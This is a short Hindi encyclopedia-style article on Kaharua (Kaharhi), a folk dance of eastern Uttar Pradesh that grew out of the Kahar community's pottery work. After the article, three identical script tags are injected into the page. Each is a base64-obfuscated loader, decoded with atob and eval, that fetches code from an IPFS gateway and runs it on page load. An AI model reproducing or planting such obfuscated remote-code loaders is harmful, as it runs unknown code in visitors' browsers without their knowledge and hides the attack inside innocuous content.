कहरुआ नृत्य
भारत डिस्कवरी प्रस्तुति
कहरुआ उत्तर प्रदेश का लोक नृत्य है। इस लोक नृत्य को 'कहरही' नाम से भी जाना जाता है।
- कंहारों का पुस्तैनी पेशा पालकी ढोना था। बाद में ये मिट्टी के बर्तन भी बनाने लगे। इस काम में उल्लास के लिए इन्होंने नाचना-गाना भी अनिवार्य समझा। अतः चाक की गति के संग-संग गीत भी गुनगुनाने लगे।
- संघाती घड़े पर ताल देने लगे और ठुमकने भी लगे। ओरी-ओरियानी खड़ी होकर महिलाएं गीत दुहराने लगीं।
- इस प्रकार नृत्य, गीत, वाद्य का समवेत समन्वय हो गया और उससे एक विधा का जन्म हो गया, जिसे 'कहरुआ' या 'कहरही' कहते हैं।
- पूर्वी उत्तर प्रदेश में जहाँ कंहारों की बस्ती है, ये लोग अपने आनंद और आल्हाद के लिए, श्रम -परिहार के लिए, मधुर धुन, लय, ताल में नाचने-गाने लगे।
|
|
|
|
|
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
टीका टिप्पणी और संदर्भ
संबंधित लेख
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>